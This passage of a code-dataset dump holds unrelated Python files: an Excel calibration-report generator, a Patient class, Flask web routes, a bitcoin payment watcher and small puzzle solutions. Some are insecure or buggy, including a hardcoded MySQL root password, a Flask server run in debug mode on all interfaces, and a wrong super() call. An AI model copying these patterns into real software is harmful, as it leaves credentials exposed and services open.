super(GenXlsFittingReport, self).__init__(FileName=FileName)\n\n self.InfoDCMeasValues.update({'IonStrength': ('IonStrength', 5, {})})\n self.InfoDCMeasValues.update({'Ph': ('pH', 6, {})})\n self.InfoDCMeasValues.update({'FuncStep': ('FuncStep', 7, {})})\n self.InfoDCMeasValues.update({'AnalyteCon': ('AnalyteCon', 8, {})})\n self.InfoDCMeasValues.update({'Comments': ('Comments', 9, {})})\n\n self.DBCalField = DBCalField\n self.DBCalFlags = DBCalFlags\n self.GroupBase = GroupBase\n\n GroupBy = 'Trts.Name'\n self.TrtsList = Dban.FindCommonValues(Parameter=GroupBy,\n **GroupBase)\n\n self.WorkBook.add_worksheet('Summary')\n for TrtName in sorted(self.TrtsList):\n self.WorkBook.add_worksheet(TrtName)\n\n def GenFullReport(self):\n SheetSummary = self.WorkBook.sheetnames['Summary']\n self.WriteHeaders(SheetSummary,\n DictList=(self.InfoTrtFields, ),\n Vertical=False)\n for it, TrtName in enumerate(sorted(self.TrtsList)):\n self.WriteDBValues(SheetSummary,\n LocOff=(it, 0),\n DictList=(self.InfoTrtFields, ),\n Vertical=False,\n DBSearch={'Trts.Name=': (TrtName, )},\n WriteHeader=False)\n self.GenTrtReport(TrtName, it)\n\n def GenTrtReport(self, TrtName, itrt):\n Sheet = self.WorkBook.sheetnames[TrtName]\n SheetSummary = self.WorkBook.sheetnames['Summary']\n\n self.WriteDBValues(Sheet,\n DictList=(self.InfoTrtFields,),\n DBSearch={'Trts.Name=': (TrtName, )})\n\n GrBase = self.GroupBase.copy()\n GrBase['Conditions'].update({'Trts.Name=': (TrtName, )})\n CalFlag = {'{} like'.format(self.DBCalField): self.DBCalFlags}\n GrBase['Conditions'].update(CalFlag)\n CalList = DbSearch.FindCommonValues(Parameter=self.DBCalField,\n **GrBase)\n\n ic = 0\n row = len(self.InfoTrtFields) + 10\n for cal in CalList:\n caltype = cal.split(' ')[0]\n if caltype in self.CalTypes:\n GrBase = self.GroupBase.copy()\n GrBase['Conditions'].update({'Trts.Name=': (TrtName,)})\n CalFlag = {'{} like'.format(self.DBCalField): (cal, )}\n GrBase['Conditions'].update(CalFlag)\n FitRep = FittingReport(XlsRep=self,\n GroupBase=GrBase,\n **self.CalTypes[caltype])\n Loc = (row+2+25*ic, len(FitRep.InfoMeasValues)+10)\n FitRep.GenDebugPlot(Sheet, Loc=Loc)\n FitRep.CalcLinearFitting(Sheet, Loc=(row+25*ic, 0))\n srow = itrt + 1\n scol = ic*(len(FitRep.FittingValues)+1) + len(self.InfoTrtFields)\n SheetSummary.write(srow, scol, cal, self.Fbold)\n FitRep.WriteFittingResults(SheetSummary,\n (srow-1, scol+1),\n WriteHeaders=False)\n ic += 1\n else:\n print (cal, caltype, 'Not found')\n\n\n row = len(self.InfoTrtFields) + 12 + len(CalList)*25\n self.WriteTrtMeasHist(TrtName=TrtName,\n Sheet=Sheet,\n Loc=(row, 0))\n \n Loc = (row + 25,\n len(self.InfoDCMeasValues) + len(self.InfoACMeasValues) + 1)\n self.InsertPyGFETplot(Sheet=Sheet,\n Loc=Loc,\n PlotPars=self.TimePlotParsDC,\n DataDict=self.DictDC,\n ColorOn='Date')\n\n#TODO fix this part in a generic fucntion\n# Generate time evolution plots\n Loc = (row,\n len(self.InfoDCMeasValues) + len(self.InfoACMeasValues) + 1)\n Fig, Ax = plt.subplots(len(self.TimeEvolPars), 1, sharex=True)\n if len(self.TimeEvolPars) == 1:\n Ax = [Ax,]\n for i, (k, v) in enumerate(self.TimeEvolPars.items()):\n if v[0] == 'DC':\n dat = self.DictDC\n elif v[0] == 'AC':\n dat = self.DictAC\n \n Dban.PlotXYVars(Data=dat,\n Xvar='FuncStep',\n Yvar=k,\n Ax=Ax[i],\n **v[1])\n Fig.tight_layout()\n Fig.subplots_adjust(hspace=0)\n# insert time evolution plots\n self.InsertFigure(Sheet=Sheet, Fig=Fig, Loc=Loc)\n\n \n if self.CalMaps is not None:\n for ic, calmap in enumerate(self.CalMaps):\n self.InsertCalMap(Sheet,\n (0, ic*6 + 6),\n TrtName,\n calmap)\n\n def InsertCalMap(self, Sheet, Loc, TrtName, CalMap):\n\n Gr = self.GroupBase.copy()\n Gr['Conditions'].update({'Trts.Name=': (TrtName,)})\n CalFlag = {'{} like'.format(self.DBCalField): CalMap}\n Gr['Conditions'].update(CalFlag)\n\n dat, _ = Dban.GetFromDB(**Gr)\n Dats = dat[TrtName]\n\n x = np.ones([len(Dats)])\n y = np.ones([len(Dats)])\n z = np.ones([len(Dats)])\n for i, d in enumerate(Dats):\n funcx = d.__getattribute__('Get' + self.CalMapVars['XVar'])\n funcy = d.__getattribute__('Get' + self.CalMapVars['YVar'])\n funcz = d.__getattribute__('Get' + self.CalMapVars['ZVar'])\n x[i] = funcx()\n y[i] = funcy()\n z[i] = funcz()\n\n if self.CalMapVars['YVarLog']:\n y = np.log10(y)\n if self.CalMapVars['XVarLog']:\n x = np.log10(x)\n\n plt.figure(figsize=self.figsize)\n plt.tricontourf(x, y, z, 100, cmap='seismic')\n plt.plot(x, y, 'ko')\n plt.colorbar()\n plt.title(CalMap[0]+CalMap[1])\n\n self.InsertFigure(Sheet, Loc)\n\n\nclass XlsGraphPadPrism(XlsReportBase):\n TimePlotParsDC = ('Ids', 'Rds', 'GM', 'Ig')\n TimeEvolPars = {'Ud0': ('DC', {'Vgs': None,\n 'Vds': None})}\n\n CalTypes = {'pHCal': {'XVar': 'Ph',\n 'XVarLog': False,\n 'YVar': 'Ud0',\n 'YVarLog': False},\n 'IonCal': {'XVar': 'IonStrength',\n 'XVarLog': True,\n 'YVar': 'Ud0',\n 'YVarLog': False},\n 'Tromb': {'XVar': 'AnalyteCon',\n 'XVarLog': True,\n 'YVar': 'Ud0',\n 'YVarLog': False}}\n\n DBCalField = 'CharTable.Comments'\n DBCalFlags = ('%Cal%', )\n\n CalMaps = None\n CalMapVars = None\n figsize = (4, 4)\n\n def __init__(self, FileName, GroupBase,\n DBCalField='CharTable.Comments', DBCalFlags=('%Cal%', )):\n\n super(XlsGraphPadPrism, self).__init__(FileName=FileName)\n\n self.InfoDCMeasValues.update({'IonStrength': ('IonStrength', 5, {})})\n self.InfoDCMeasValues.update({'Ph': ('pH', 6, {})})\n self.InfoDCMeasValues.update({'FuncStep': ('FuncStep', 7, {})})\n self.InfoDCMeasValues.update({'AnalyteCon': ('AnalyteCon', 8, {})})\n self.InfoDCMeasValues.update({'Comments': ('Comments', 9, {})})\n\n self.DBCalField = DBCalField\n self.DBCalFlags = DBCalFlags\n self.GroupBase = GroupBase\n\n GroupBy = 'Trts.Name'\n self.TrtsList = Dban.FindCommonValues(Parameter=GroupBy,\n **GroupBase)\n\n self.WorkBook.add_worksheet('GraphPadPrism')\n self.WorkBook.add_worksheet('Summary')\n for TrtName in sorted(self.TrtsList):\n self.WorkBook.add_worksheet(TrtName)\n\n def GenFullReport(self):\n self.GenGraphPadPrism(self.WorkBook.sheetnames['GraphPadPrism'])\n SheetSummary = self.WorkBook.sheetnames['Summary']\n self.WriteHeaders(SheetSummary,\n DictList=(self.InfoTrtFields, ),\n Vertical=False)\n for it, TrtName in enumerate(sorted(self.TrtsList)):\n self.WriteDBValues(SheetSummary,\n LocOff=(it, 0),\n DictList=(self.InfoTrtFields, ),\n Vertical=False,\n DBSearch={'Trts.Name=': (TrtName, )},\n WriteHeader=False)\n self.GenTrtReport(TrtName, it) \n\n def GenGraphPadPrism(self, Sheet, Loc=(0, 0)): \n RowOff = Loc[0]\n ColOff = Loc[1]\n \n # Gen trt Headers\n Trts = DbSearch.FindCommonValues('Trts.Name', **self.GroupBase) \n TrtLoc = {}\n for itrt, trt in enumerate(sorted(Trts)):\n col = itrt + ColOff + 2\n TrtLoc.update({trt: col })\n Sheet.write(RowOff, col, trt, self.Fbold)\n \n row = RowOff\n GrFunc = DbSearch.GenGroups(self.GroupBase.copy(),\n 'CharTable.FuncStep',\n LongName=False)\n for GrfN, Grf in GrFunc.items():\n GrAnalyte = DbSearch.GenGroups(Grf.copy(),\n 'CharTable.AnalyteCon',\n LongName=False)\n for GrAn, GrA in GrAnalyte.items():\n row += 1\n Sheet.write(row, 0, GrfN, self.Fbold)\n Sheet.write(row, 1, GrAn, self.Fbold)\n DatDict, _ = DbSearch.GetFromDB(**GrA)\n for Dat in DatDict.values():\n func = Dat[0].__getattribute__('Get' + 'Ud0')\n Sheet.write(row, TrtLoc[Dat[0].Name],\n func())\n \n\n def GenTrtReport(self, TrtName, itrt):\n Sheet = self.WorkBook.sheetnames[TrtName]\n SheetSummary = self.WorkBook.sheetnames['Summary']\n\n self.WriteDBValues(Sheet,\n DictList=(self.InfoTrtFields,),\n DBSearch={'Trts.Name=': (TrtName, )})\n\n GrBase = self.GroupBase.copy()\n GrBase['Conditions'].update({'Trts.Name=': (TrtName, )})\n CalFlag = {'{} like'.format(self.DBCalField): self.DBCalFlags}\n GrBase['Conditions'].update(CalFlag)\n CalList = DbSearch.FindCommonValues(Parameter=self.DBCalField,\n **GrBase)\n\n ic = 0\n row = len(self.InfoTrtFields) + 10\n for cal in CalList:\n caltype = cal.split(' ')[0]\n if caltype in self.CalTypes:\n GrBase = self.GroupBase.copy()\n GrBase['Conditions'].update({'Trts.Name=': (TrtName,)})\n CalFlag = {'{} like'.format(self.DBCalField): (cal, )}\n GrBase['Conditions'].update(CalFlag)\n FitRep = FittingReport(XlsRep=self,\n GroupBase=GrBase,\n **self.CalTypes[caltype])\n Loc = (row+2+25*ic, len(FitRep.InfoMeasValues)+10)\n FitRep.GenDebugPlot(Sheet, Loc=Loc)\n FitRep.CalcLinearFitting(Sheet, Loc=(row+25*ic, 0))\n srow = itrt + 1\n scol = ic*(len(FitRep.FittingValues)+1) + len(self.InfoTrtFields)\n SheetSummary.write(srow, scol, cal, self.Fbold)\n FitRep.WriteFittingResults(SheetSummary,\n (srow-1, scol+1),\n WriteHeaders=False)\n ic += 1\n else:\n print (cal, caltype, 'Not found')\n\n\n row = len(self.InfoTrtFields) + 12 + len(CalList)*25\n self.WriteTrtMeasHist(TrtName=TrtName,\n Sheet=Sheet,\n Loc=(row, 0))\n \n Loc = (row + 25,\n len(self.InfoDCMeasValues) + len(self.InfoACMeasValues) + 1)\n self.InsertPyGFETplot(Sheet=Sheet,\n Loc=Loc,\n PlotPars=self.TimePlotParsDC,\n DataDict=self.DictDC,\n ColorOn='Date')\n\n#TODO fix this part in a generic fucntion\n# Generate time evolution plots\n Loc = (row,\n len(self.InfoDCMeasValues) + len(self.InfoACMeasValues) + 1)\n Fig, Ax = plt.subplots(len(self.TimeEvolPars), 1, sharex=True)\n if len(self.TimeEvolPars) == 1:\n Ax = [Ax,]\n for i, (k, v) in enumerate(self.TimeEvolPars.items()):\n if v[0] == 'DC':\n dat = self.DictDC\n elif v[0] == 'AC':\n dat = self.DictAC\n \n Dban.PlotXYVars(Data=dat,\n Xvar='FuncStep',\n Yvar=k,\n Ax=Ax[i],\n **v[1])\n Fig.tight_layout()\n Fig.subplots_adjust(hspace=0)\n# insert time evolution plots\n self.InsertFigure(Sheet=Sheet, Fig=Fig, Loc=Loc)\n\n \n if self.CalMaps is not None:\n for ic, calmap in enumerate(self.CalMaps):\n self.InsertCalMap(Sheet,\n (0, ic*6 + 6),\n TrtName,\n calmap)\n\n def InsertCalMap(self, Sheet, Loc, TrtName, CalMap):\n\n Gr = self.GroupBase.copy()\n Gr['Conditions'].update({'Trts.Name=': (TrtName,)})\n CalFlag = {'{} like'.format(self.DBCalField): CalMap}\n Gr['Conditions'].update(CalFlag)\n\n dat, _ = Dban.GetFromDB(**Gr)\n Dats = dat[TrtName]\n\n x = np.ones([len(Dats)])\n y = np.ones([len(Dats)])\n z = np.ones([len(Dats)])\n for i, d in enumerate(Dats):\n funcx = d.__getattribute__('Get' + self.CalMapVars['XVar'])\n funcy = d.__getattribute__('Get' + self.CalMapVars['YVar'])\n funcz = d.__getattribute__('Get' + self.CalMapVars['ZVar'])\n x[i] = funcx()\n y[i] = funcy()\n z[i] = funcz()\n\n if self.CalMapVars['YVarLog']:\n y = np.log10(y)\n if self.CalMapVars['XVarLog']:\n x = np.log10(x)\n\n plt.figure(figsize=self.figsize)\n plt.tricontourf(x, y, z, 100, cmap='seismic')\n plt.plot(x, y, 'ko')\n plt.colorbar()\n plt.title(CalMap[0]+CalMap[1])\n\n self.InsertFigure(Sheet, Loc)\n\n\nclass GenXlsFittingReport1(XlsReportBase):\n\n CalTypes = {'pHCal': {'XVar': 'Ph',\n 'XVarLog': False,\n 'YVar': 'Ud0',\n 'YVarLog': False},\n 'IonCal': {'XVar': 'IonStrength',\n 'XVarLog': True,\n 'YVar': 'Ud0',\n 'YVarLog': False},\n 'Tromb': {'XVar': 'AnalyteCon',\n 'XVarLog': True,\n 'YVar': 'Ud0',\n 'YVarLog': False}}\n\n DBCalField = 'CharTable.Comments'\n DBCalFlags = ('%Cal%', )\n\n CalMaps = None\n CalMapVars = None\n figsize = (4, 4)\n\n def __init__(self, FileName, GroupBase,\n DBCalField='CharTable.Comments', DBCalFlags=('%Cal%', )):\n\n super(GenXlsFittingReport, self).__init__(FileName=FileName)\n\n self.InfoDCMeasValues.update({'IonStrength': ('IonStrength', 5, {})})\n self.InfoDCMeasValues.update({'Ph': ('pH', 6, {})})\n self.InfoDCMeasValues.update({'FuncStep': ('FuncStep', 7, {})})\n self.InfoDCMeasValues.update({'AnalyteCon': ('AnalyteCon', 8, {})})\n self.InfoDCMeasValues.update({'Comments': ('Comments', 9, {})})\n\n self.DBCalField = DBCalField\n self.DBCalFlags = DBCalFlags\n self.GroupBase = GroupBase\n\n GroupBy = 'Trts.Name'\n self.TrtsList = Dban.FindCommonValues(Parameter=GroupBy,\n **GroupBase)\n\n self.WorkBook.add_worksheet('Summary')\n for TrtName in sorted(self.TrtsList):\n self.WorkBook.add_worksheet(TrtName)\n\n def GenFullReport(self):\n SheetSummary = self.WorkBook.sheetnames['Summary']\n self.WriteHeaders(SheetSummary,\n DictList=(self.InfoTrtFields, ),\n Vertical=False)\n for it, TrtName in enumerate(sorted(self.TrtsList)):\n self.WriteDBValues(SheetSummary,\n LocOff=(it, 0),\n DictList=(self.InfoTrtFields, ),\n Vertical=False,\n DBSearch={'Trts.Name=': (TrtName, )},\n WriteHeader=False)\n self.GenTrtReport(TrtName, it)\n\n def GenTrtReport(self, TrtName, itrt):\n Sheet = self.WorkBook.sheetnames[TrtName]\n SheetSummary = self.WorkBook.sheetnames['Summary']\n\n self.WriteDBValues(Sheet,\n DictList=(self.InfoTrtFields,),\n DBSearch={'Trts.Name=': (TrtName, )})\n\n GrBase = self.GroupBase.copy()\n GrBase['Conditions'].update({'Trts.Name=': (TrtName, )})\n CalFlag = {'{} like'.format(self.DBCalField): self.DBCalFlags}\n GrBase['Conditions'].update(CalFlag)\n CalList = DbSearch.FindCommonValues(Parameter=self.DBCalField,\n **GrBase)\n\n ic = 0\n row = len(self.InfoTrtFields) + 10\n for cal in CalList:\n caltype = cal.split(' ')[0]\n if caltype in self.CalTypes:\n GrBase = self.GroupBase.copy()\n GrBase['Conditions'].update({'Trts.Name=': (TrtName,)})\n CalFlag = {'{} like'.format(self.DBCalField): (cal, )}\n GrBase['Conditions'].update(CalFlag)\n FitRep = FittingReport(XlsRep=self,\n GroupBase=GrBase,\n **self.CalTypes[caltype])\n Loc = (row+2+25*ic, len(FitRep.InfoMeasValues)+10)\n FitRep.GenDebugPlot(Sheet, Loc=Loc)\n FitRep.CalcLinearFitting(Sheet, Loc=(row+25*ic, 0))\n srow = itrt + 1\n scol = ic*(len(FitRep.FittingValues)+1) + len(self.InfoTrtFields)\n SheetSummary.write(srow, scol, cal, self.Fbold)\n FitRep.WriteFittingResults(SheetSummary,\n (srow-1, scol+1),\n WriteHeaders=False)\n ic += 1\n else:\n print (cal, caltype, 'Not found')\n\n\n row = len(self.InfoTrtFields) + 12 + len(CalList)*25\n self.WriteTrtMeasHist(TrtName=TrtName,\n Sheet=Sheet,\n Loc=(row, 0))\n\n if self.CalMaps is not None:\n for ic, calmap in enumerate(self.CalMaps):\n self.InsertCalMap(Sheet,\n (0, ic*6 + 6),\n TrtName,\n calmap)\n\n def InsertCalMap(self, Sheet, Loc, TrtName, CalMap):\n\n Gr = self.GroupBase.copy()\n Gr['Conditions'].update({'Trts.Name=': (TrtName,)})\n CalFlag = {'{} like'.format(self.DBCalField): CalMap}\n Gr['Conditions'].update(CalFlag)\n\n dat, _ = Dban.GetFromDB(**Gr)\n Dats = dat[TrtName]\n\n x = np.ones([len(Dats)])\n y = np.ones([len(Dats)])\n z = np.ones([len(Dats)])\n for i, d in enumerate(Dats):\n funcx = d.__getattribute__('Get' + self.CalMapVars['XVar'])\n funcy = d.__getattribute__('Get' + self.CalMapVars['YVar'])\n funcz = d.__getattribute__('Get' + self.CalMapVars['ZVar'])\n x[i] = funcx()\n y[i] = funcy()\n z[i] = funcz()\n\n if self.CalMapVars['YVarLog']:\n y = np.log10(y)\n if self.CalMapVars['XVarLog']:\n x = np.log10(x)\n\n plt.figure(figsize=self.figsize)\n plt.tricontourf(x, y, z, 100, cmap='seismic')\n plt.plot(x, y, 'ko')\n plt.colorbar()\n plt.title(CalMap[0]+CalMap[1])\n\n self.InsertFigure(Sheet, Loc)\n\n#if __name__ == \"__main__\":\n# plt.ioff()\n#\n# plt.close('all') \n# \n# CharTable = 'DCcharacts'\n# DeviceNames = ('B10803W17-Xip7N','B10803W17-Xip7S')\n# Conditions = {'Devices.Name=': DeviceNames,\n# 'CharTable.IsOK>': (0, ),\n# 'CharTable.AnalyteCon<': (1e-7, )}\n# \n# GroupBase = {}\n# GroupBase['Table'] = CharTable\n# GroupBase['Last'] = False\n# GroupBase['Conditions'] = Conditions\n# \n# GenFit = GenXlsFittingReport('../testfb.xls', GroupBase)\n# GenFit.DBCalField = 'CharTable.FuncStep'\n# GenFit.DBCalFlags = ('Tromb', )\n# GenFit.GenFullReport()\n# GenFit.close()\n\n# plt.close('all') \n# \n# CharTable = 'DCcharacts'\n# DeviceNames = ('B10179W15-T1',)\n# Conditions = {'Devices.Name=': DeviceNames,\n# 'CharTable.IsOK>': (0, ),\n# 'CharTable.Comments like':('%Cal%', )}\n# \n# GroupBase = {}\n# GroupBase['Table'] = CharTable\n# GroupBase['Last'] = False\n# GroupBase['Conditions'] = Conditions\n# \n# GenFit = GenXlsFittingReport('../testf.xls', GroupBase)\n# GenFit.CalMaps = (('PhCal 1', 'IonCal 1'), ('PhCal 2', 'IonCal 2'))\n# GenFit.CalMapVars = {'XVar': 'Ph',\n# 'XVarLog': False,\n# 'YVar': 'IonStrength',\n# 'YVarLog': True,\n# 'ZVar': 'Ud0'}\n# GenFit.GenFullReport()\n# GenFit.close()\n\n#Caltypes={'pHCal':('Ph', False),\n# 'IonCal':('IonStrength', True)}\n\n#CalList = DbSearch.FindCommonValues(Conditions=Conditions,\n# Parameter='CharTable.Comments',\n# Table=CharTable)\n#\n#for cal in CalList:\n# caltype = cal.split(' ')[0]\n# print 'Cal type', caltype\n# print 'Gen excel', cal\n#\n## Fixed Conditions\n# GroupBase = {}\n# GroupBase['Table'] = CharTable\n# GroupBase['Last'] = False\n# Conditions['DCcharacts.Comments like']=(cal,)\n# GroupBase['Conditions'] = Conditions.copy()\n# \n# XlsRep=GenXlsFittingReport(cal+'.xls', GroupBase)\n# XlsRep.XVar = Caltypes[caltype][0]\n# XlsRep.XVarLog = Caltypes[caltype][1]\n# XlsRep.GenFullReport()\n# XlsRep.close()\n\n\n\n# Name = 'B10179W15'\n# Conditions = {'Wafers.name=':(Name, )}\n# XlsHist = GenXlsReport('../' +Name+'.xlsx', Conditions)\n# XlsHist.GenFullReport()\n# XlsHist.close()\n\n \n# Name = 'B10179W15-B4'\n# Conditions = {'Devices.name=':(Name, )}\n# XlsHist = GenXlsTrtsHistory('../' +Name+'.xlsx', Conditions)\n# XlsHist.GenFullReport()\n# XlsHist.close()","sub_path":"PyGFETdb/DBXlsReport.py","file_name":"DBXlsReport.py","file_ext":"py","file_size_in_byte":62531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"95927046","text":"import datetime\n\nclass Patient():\n\n def __init__(self, social, dob, insurance, first, last):\n self.__ssn = social\n self.__dob = dob\n self.__insurance = insurance\n self.__first_name = first\n self.__last_name = last\n\n @property\n def ssn(self):\n try:\n return self.__ssn\n except: AttributeError\n return 0\n\n @property\n def date_of_birth(self):\n try:\n return self.__date_of_birth\n except: AttributeError\n return None\n\n # @date_of_birth.setter\n # def dob(self, new_dob):\n # if dob == datetime.datetime.strptime(\"99/99/9999\", \"%m/%d/%Y\"):\n # self.__dob = new_dob\n # else:\n # raise TypeError(\"please enter date in correct format\")\n\n @property\n def health_insurance(self):\n try:\n return self.__health_insurance\n except: AttributeError\n return None\n\n @property\n def full_name(self):\n try:\n return self.__first_name + \" \" + self.__last_name\n except: AttributeError\n return None\n\n @property\n def address(self):\n try:\n return self.__address\n except: AttributeError\n return None\n\n @address.setter # The setter\n def address(self, new_address):\n if type(new_address) is str:\n self.__address = new_address\n else: raise TypeError('Please provide a name for the firstname')\n\ncashew = Patient(\n \"097-23-1003\", \"08/13/92\", \"7001294103\",\n \"Daniela\", \"Agnoletti\"\n)\n\n# This should not change the state of the object\n# cashew.ssn = \"838-31-2256\"\n\n# Neither should this\n# cashew.date_of_birth = \"01-30-90\"\n\n# But printing either of them should work\nprint(cashew.ssn) # \"097-23-1003\"\n\n# These two statements should output nothing\n# print(cashew.first_name)\n# print(cashew.last_name)\n\n# But this should output the full name\nprint(cashew.full_name) # \"Daniela Agnoletti\"\n\ncashew.address = \"500 Infinity Way\"\n\n\n\n","sub_path":"patient.py","file_name":"patient.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"377502733","text":"# coding=utf-8\n\nfrom flask import Flask, send_from_directory, abort, render_template, flash, redirect, session, url_for, request, g, Markup, jsonify\nfrom app import app\nimport os\nimport pymysql\nimport requests\nfrom elasticsearch import Elasticsearch\nimport json\n\n\nclass Database:\n def __init__(self):\n host = \"mysql\"\n user = \"root\"\n password = \"tiger\"\n db = \"skitter\"\n\n self.con = pymysql.connect(host=host, user=user, password=password, db=db, cursorclass=pymysql.cursors.DictCursor)\n self.cur = self.con.cursor()\n\n# def listUsers(self):\n# self.cur.execute(\"SELECT * FROM posts\")\n# result = self.cur.fetchall()\n# return result\n\n def findUser(self):\n self.cur.execute(\"\")\n result = self.cur.fetchall()\n return result\n\n\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n return render_template('index.html')\n\n@app.route('/about')\ndef about():\n return render_template('about.html')\n\n@app.route('/user')\ndef user():\n\n es = Elasticsearch([{'host': 'elk', 'port': 9200}])\n es.index(index='test-index', doc_type='test', id=1, body={'test':'test'})\n\n def db_query():\n db = Database()\n users = db.listUsers()\n return users\n\n# res = db_query()\n\n\n username = \"temp\" #res[0][\"post_id\"]\n post = [[\"Hello\", \"Overall\", \"The date\", \"Some text blah blah lorem ipsum\"],[\"Hello\", \"Overall\", \"The date\", \"Some text blah blah lorem ipsum\"]]\n userid = 1\n return render_template('frontPage.html', friends=\"/friends/\" + str(userid), user=username, posts=post)\n\n\n@app.route('/search', methods=['GET', 'POST'])\ndef search():\n userSearch = str(request.values.get(\"search\"))\n res = requests.get('http://elk:9200')\n return res.content\n\n@app.route('/post', methods=['POST'])\ndef post():\n return str(request.form[\"skit\"])\n\n\n@app.route('/<path:filename>')\ndef send_file(filename):\n return send_from_directory(\"/var/www/apache-flask/app/static\", filename)\n\n\n\n\n\n\n","sub_path":"Project/webServer/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"399450834","text":"import json,time,sys\nfrom flask import Flask\n\nsys.path.append('../')\nsys.path.append('../predict')\nfrom predict import console\n\napp = Flask(__name__)\n\n\n@app.route('/testapi/<uid>', methods=['GET', 'POST'])\ndef firstapi(uid):\n pred, p = console.Predict(uid)\n return json.dumps({'status': 0,'content': {'predict': pred,'p': float(p)}})\n\nif __name__ == \"__main__\":\n app.run(port=8080, host='0.0.0.0', debug=True, threaded=True)\n\n","sub_path":"bi_model_service-master/modelapi/flaskapp.py","file_name":"flaskapp.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"460614480","text":"import logging\nimport btc_payment_check\nimport bitcoingw_db\nimport api\n\nimport time\nimport json\nimport threading\nimport requests\n\n\"\"\"job delay in sec\"\"\"\ndelay = 30\n\nlogging.basicConfig(level=logging.INFO)\n\ndef get_logger():\n \"\"\" Get named logger \"\"\"\n return logging.getLogger(__name__)\n\ndef job():\n now = int(time.time())\n #process_expired()\n process_btc_check()\n\ndef process_btc_check():\n now = int(time.time())\n pending_list = bitcoingw_db.get_current_watch_addrs(now)\n watch_cnt = len(pending_list)\n if watch_cnt <= 0:\n return\n #get_logger().info(\"Wathing \" + str(watch_cnt) + \" addresses\")\n #print(pending_list)\n cnt_pay = 0\n cnt_notif = 0\n expiry_min = now + 10000000\n expiry_max = 0\n session = requests.Session()\n for p in pending_list:\n if 'currency' in p and p['currency'].upper() == 'BTC':\n #print(p)\n addr = p['rec_addr']\n time_from = float(p['created_time'])\n time_to = float(p['expiry_time'])\n\n if time_to > expiry_max:\n expiry_max = time_to\n if time_to < expiry_min:\n expiry_min = time_to\n\n #print(\"Pending\", \"BTC to\", addr, \"since\", time_from, \"to max\", time_to)\n res = btc_payment_check.btc_check(session, addr, time_from, time_to, 3)\n #res.print()\n #print(\"age\", now - int(p['created_time']))\n # Condition: if it has been payed in full, confirmed\n if (res != None) and (res.sum_confirmed > 0) and (len(res.payments) > 0):\n last_hash = res.payments[0].tx_hash\n #get_logger().info(\"Incoming payment detected; confirmed amount \" + str(res.sum_confirmed) + \" to address \" + addr + \" last hash \" + last_hash)\n order_id = p['order_id']\n #print(\"last_hash\", p['last_notif_hash'], last_hash, \"!\")\n if (p['last_notif_hash'] == last_hash):\n #get_logger().info(\"This tx hash already been notified \" + str(p['last_notif_hash']) + \" \" + str(p['last_notif_time']))\n notif_time = time.time() # unnecessary placeholder line\n else:\n get_logger().info(\"Incoming payment detected; not yet notified; confirmed amount \" + str(res.sum_confirmed) + \" to address \" + addr + \" last hash \" + last_hash)\n notif_time = time.time()\n do_notify(addr)\n bitcoingw_db.update_last_notif(order_id, last_hash, notif_time)\n cnt_notif = cnt_notif + 1\n cnt_pay = cnt_pay + 1\n # small sleep to not overload APIs\n time.sleep(0.05)\n get_logger().info(\"Watch addrs: \" + str(watch_cnt) + \" expiry range: \" + str(int(expiry_min) - now) + \" - \" + str(int(expiry_max) - now) + \", found \" + str(cnt_pay) + \" payments, notified \" + str(cnt_notif) + \" new\")\n\ndef do_notify(addr):\n # TODO call web hook\n print(\"TODO Callback for \", addr)\n history = api.get_history(addr)\n #print(\"history\", history)\n if 'history' in history:\n print(\" payments found:\", len(history['history']))\n for p in history['history']:\n print(\" pay\", p['amount'], p['timestamp'], p['hash'])\n\ndef start_job():\n get_logger().info(\"Starting job\")\n next_update = time.time()\n while getattr(threading.currentThread(), \"do_run\", True):\n now = time.time()\n #print(\"now\", now)\n if (now >= next_update):\n job()\n next_update = next_update + delay\n time.sleep(1)\n\nwatcher_thread = None\ndef start_background():\n watcher_thread = threading.Thread(target=start_job)\n watcher_thread.start()\n\ndef stop_background():\n watcher_thread.do_run = False\n watcher_thread.join()\n","sub_path":"service/watcher_job.py","file_name":"watcher_job.py","file_ext":"py","file_size_in_byte":3792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"108298035","text":"def vowels(str) :\n vowList = {'a','e','i','o','u'}\n vowCpt = 0\n for ch in str :\n if ch in vowList :\n vowCpt +=1\n return vowCpt > 2\n\ndef doubleCh(str) :\n i = 1\n ret = False\n while i < len(str) :\n if str[i] == str[i-1] :\n ret = True\n i += 1\n return ret\n\ndef noForbidden(str) :\n i = 1\n ret = True\n while i < len(str) :\n if str[i-1] == 'a' and str[i] == 'b' :\n ret = False\n elif str[i-1] == 'c' and str[i] == 'd' :\n ret = False\n elif str[i-1] == 'p' and str[i] == 'q' :\n ret = False\n elif str[i-1] == 'x' and str[i] == 'y' :\n ret = False\n i += 1\n return ret\n\ndef isNice(str) :\n vow = vowels(str)\n doub = doubleCh(str)\n forb = noForbidden(str)\n return (vow and doub and forb)\n\nsource = open(\"Day5_input.txt\")\nline = source.readline().replace(\"\\n\",\"\")\ncpt = 0\n\nwhile len(line) > 1 :\n if isNice(line) :\n cpt += 1\n line = source.readline().replace(\"\\n\",\"\")\n\nprint(cpt)\n","sub_path":"Day5/Day5_1.py","file_name":"Day5_1.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"243595524","text":"'''\n问题描述:\n求逆波兰表达式的值。\n在逆波兰表达法中,其有效的运算符号包括 +, -, *, / 。\n每个运算对象可以是整数,也可以是另一个逆波兰计数表达。\n\n示例:\n输入: [\"2\", \"1\", \"+\", \"3\", \"*\"]\n输出: 9\n解释: [\"2\", \"1\", \"+\", \"3\", \"*\"] -> (2 + 1) * 3 -> 9\n\n思路:使用栈实现即可\n\n'''\n\n\ndef evalRPN(tokens):\n # write your code here\n # 思路:逆波兰符直接用栈实现就好了\n stack = []\n ops = ['+', '-', '*', '/']\n op1 = 0\n op2 = 0\n for token in tokens:\n # 说明是数字\n if token not in ops:\n 